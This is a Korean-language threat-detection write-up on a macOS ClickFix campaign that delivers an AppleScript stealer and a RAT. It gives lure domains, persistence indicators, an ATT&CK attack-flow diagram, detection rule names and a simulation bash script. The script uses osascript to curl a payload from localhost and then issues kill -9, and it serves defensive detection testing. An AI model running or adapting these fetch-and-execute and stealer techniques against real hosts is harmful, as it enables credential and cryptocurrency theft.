macOS ClickFix 미끼, AppleScript Stealer 및 지속적 RAT 배포
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
러시아어를 사용하는 위협 행위자는 ClickFix 사회공학 캠페인을 이용하여 이단계의 macOS 악성코드 감염을 배포하고 있습니다. 공격은 터미널 명령어를 통해 실행되는 무파일 실행 사슬로 시작되며, Meow (DEBUG)라는 AppleScript 기반 정보탈취기와 지속적인 원격 접근 트로이 목마를 전송합니다. 악성코드는 암호화폐 지갑, 브라우저 자격 증명 및 메시징 세션 데이터를 표적으로 하며, 동시에 데스크탑 지갑 애플리케이션에 대해 침입성 코드 주입을 수행합니다.
조사
Netskope Threat Labs는 2026년 5월 31일에 캠페인의 업데이트된 버전을 확인하여 기본 스틸러에서보다 강력한 RAT로의 전환을 보여주었습니다. 그들의 분석은 정교한 무파일 감염 흐름, 러시아어를 사용하는 피해자를 피하기 위해 설계된 지오펜싱 로직, macOS Gatekeeper 보호를 우회하기 위해 사용된 임시 재서명을 밝혀냈습니다. 연구원들은 또한 동일한 등록자 연락처 정보를 공유하는 25개의 단명 미끼 도메인과 캠페인을 연결했습니다.
완화
방어팀은 미끼 도메인을 차단하고 curl and osascript를 포함한 의심스러운 터미널 명령어를 모니터링하는 것을 우선시해야 합니다. 조직은 터미널 접근에 대한 더 엄격한 제어를 적용하고 암호화폐 지갑 애플리케이션 번들의 승인되지 않은 변경을 주시해야 합니다. 호스트 기반 탐지는 지속성 plist com.apple.accountsd 와 /tmp/shub_ 스테이징 패턴에 초점을 맞출 수 있습니다.
대응
이 활동이 감지되면, 추가적인 데이터 도난이나 잠재적인 측면 이동을 막기 위해 즉시 영향을 받은 macOS 호스트를 격리하십시오. 설치된 모든 데스크탑 암호화폐 지갑은 타협된 것으로 취급하고 신뢰할 수 있는 출처에서 다시 설치해야 합니다. 조사관은 또한 승인되지 않은 항목에 대해 LaunchDaemons 및 LaunchAgents에 대한 포렌식 검토를 수행해야 하며, 특히 com.apple.accountsd.
“graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef persistence fill:#99ff99 classDef exfiltration fill:#ffff99 %% Initial Access and Execution attack_drive_by["<b>Action</b> – <b idea='T1189'>Drive-by Compromise</b><br/>피해자가 filesapphirecanvas.sbs 또는 <br/>filemintcastle.sbs와 같은 악성 미끼 도메인을 방문함<br/>이들 도메인은 macOS 유틸리티 또는 <br/>GitHub 저장소로 가장함."] class attack_drive_by action attack_user_exec_copy["<b>Action</b> – <b idea='T1204.004'>사용자 실행: 악성 복사 및 붙여넣기</b><br/>사회공학 피해자가 가짜 웹사이트에서 <br/>macOS 터미널로 명령어를 복사하도록 유도함."] class attack_user_exec_copy action attack_obfuscation["<b>Action</b> – <b idea='T1027.009'>혼잡 파일 또는 정보: 내장된 페이로드</b><br/>gzip 압축 및 base64로 인코딩된 <br/>heredoc을 사용하여 메모리 내에서 1단계 로더를 실행."] class attack_obfuscation action %% Loader Logic and Guardrails loader_stage1["<b>Process</b> – <b idea='Stage 1 Loader'>메모리 상주 로더</b><br/>디스크 발자국 회피를 위해 혼잡명령체인을 통해 실행."] class loader_stage1 tool guardrail_geofence["<b>Action</b> – <b idea='T1480.002'>실행 제한장치: 상호 배제</b><br/>macOS 키보드 레이아웃을 확인하여 <br/>지오펜싱 로직을 통해 러시아어 사용자 회피."] class guardrail_geofence action loader_reflective["<b>Action</b> – <b idea='T1620'>반사적 코드 로딩</b><br/>두 번째 단계의 AppleScript를 <br/>curl을 통해 가져와 osascript 메모리에 직접 파이핑."] class loader_reflective action %% Payload and Credential Theft malware_meow["<b>Malware</b> – <b idea='Meow Payload'>Meow 페이로드</b><br/>반사적 로딩 후 활성화된 메모리 상주 페이로드."] class malware_meow malware attack_gui_capture["<b>Action</b> – <b idea='T1056.002'>입력 캡처: GUI 입력 캡처</b><br/>사용자 로그인 비밀번호를 수집하기 위해 속임수로 시스템 환경설정 대화상자 사용."] class attack_gui_capture action attack_securityd["<b>Action</b> – <b idea='T1555.002'>비밀번호 저장소에서 자격 증명: Securityd 메모리</b><br/>수집된 비밀번호를 사용하여 macOS 키체인을 <br/>잠금 해제하여 안전한 저장소 키 추출."] class attack_securityd action %% Data Theft and Exfiltration attack_browser_discovery["<b>Action</b> – <b idea='T1217'>브라우저 정보 발견</b><br/>Chrome, Safari 및 Firefox에서 브라우저 데이터를 스캔."] class attack_browser_discovery action attack_session_steal["<b>Action</b> – <b idea='T1539'>웹 세션 쿠키 도난</b><br/>승인되지 않은 액세스를 유지하기 위해 세션 쿠키를 탈취함."] class attack_session_steal exfiltration attack_crypto_theft["<b>Action</b> – <b idea='T1657'>재정 도난</b><br/>MetaMask 확장 프로그램 및 <br/>Exodus 및 Ledger와 같은 데스크탑 앱을 포함한 암호화폐 지갑을 겨냥."] class attack_crypto_theft exfiltration %% Persistence and C2 persistence_launch["<b>Persistence</b> – <b idea='T1543.001'>LaunchAgent 또는 LaunchDaemon</b><br/>com.apple.accountsd로 위장한 지속성 메커니즘 생성."] class persistence_launch persistence c2_beaconing["<b>Action</b> – <b idea='T1568'>명령 및 제어</b><br/>동적 해상도와 함께 임의 코드 실행을 위한 <br/>60초 주기의 비컨 루프를 설정."] class c2_beaconing tool %% Connections attack_drive_by –>|leads_to| attack_user_exec_copy attack_user_exec_copy –>|triggers| attack_obfuscation attack_obfuscation –>|executes| loader_stage1 loader_stage1 –>|performs| guardrail_geofence guardrail_geofence –>|enables| loader_reflective loader_reflective –>|loads| malware_meow malware_meow –>|performs| attack_gui_capture attack_gui_capture –>|facilitates| attack_securityd attack_securityd –>|leads_to| attack_browser_discovery attack_browser_discovery –>|leads_to| attack_session_steal attack_browser_discovery –>|leads_to| attack_crypto_theft malware_meow –>|establishes| persistence_launch malware_meow –>|communicates_with| c2_beaconing “
공격 흐름
탐지
의심스러운 명령 및 제어: 이상한 최상위 도메인(TLD) DNS 요청 (dns 사용)
보기
MacOS 브라우저 비밀번호 발견 시도 가능 (cmdline을 통해)
보기
Base64 인코딩된 문자열 조작 가능성 [MacOS] (cmdline 사용)
보기
수정된 애플리케이션 번들의 강제 코드 서명 (cmdline 사용)
보기
MacOS 자격 증명 확인 Dscl Authonly (cmdline 사용)
보기
의심스러운 Curl 실행 시도 [MacOS] (cmdline 사용)
보기
MacOS 임시 폴더에서 아카이브가 생성됨 (file_event 사용)
보기
파일리스 macOS AppleScript 스틸러 실행 탐지 [Linux 프로세스 생성]
보기
시뮬레이션 실행
사전조건: 텔레메트리 및 베이스라인 사전 점검이 통과되었어야 합니다.
이유: 이 섹션은 탐지 규칙을 유발하도록 설계된 적대자 기술(TTP)을 자세히 설명합니다. 명령어와 내러티브는 식별된 TTP를 직접 반영하고 탐지 논리가 기대하는 정확한 텔레메트리를 생성해야 합니다. 추상적이거나 관련이 없는 예시는 잘못된 진단을 초래할 수 있습니다.
-
공격 내러티브 및 명령: 적대자가 악성 웹사이트를 통해 초기 접근을 얻었습니다. 그들은 파일에 기반한 스캐닝을 우회하기 위해 파일리스 macOS AppleScript를 실행합니다. 스크립트의 목표는 합법적인 Chrome 브라우저 사용자 에이전트를 속여 기본 네트워크 검사를 회피하며 2차 페이로드를 다운로드하는 것이며, 사용자가 자금을 확보하지 못하도록 실행 중인 암호화폐 지갑 애플리케이션을 즉시 종료하는 것입니다. 공격자는
osascript을 호출하고curl특정 플래그 및kill -9로 이러한 작업을 수행합니다. -
회귀 테스트 스크립트:
#!/bin/bash # 파일리스 macOS 스틸러 시뮬레이션 echo "[+] 시뮬레이션 시작: 파일리스 macOS 스틸러" # 단계 1: osascript를 통한 curl 페이로드 가져오기 시뮬레이션 (Triggers selection_curl_ua) echo "[+] 단계 1 실행: osascript를 통한 스푸프된 Curl..." osascript -e 'do shell script "curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0" http://localhost:8080/payload"' 2>/dev/null & # 프로세스 생성 대기 sleep 2 # 단계 2: 프로세스 종료 시뮬레이션 (Triggers selection_kill) # 시스템을 방해하지 않기 위해 더미 프로세스를 종료합니다 echo "[+] 단계 2 실행: osascript를 통한 프로세스 종료..." sleep 1 osascript -e 'do shell script "kill -9 $$"' # 참고: 현재 서브셸을 종료하여 의도 시뮬레이션 # 실질적인 타겟을 모방하는 깨끗한 시뮬레이션을 위해: # sleep 1 && sleep 1 & # osascript -e 'do shell script "kill -9 $!"' echo "[+] 시뮬레이션 명령어 전송 완료." -
정리 명령어:
# 스크립트로 파일이 생성되지 않았지만, 백그라운드에 남아있는 프로세스가 없는지 확인합니다. killall osascript 2>/dev/null echo "[+] 정리 완료."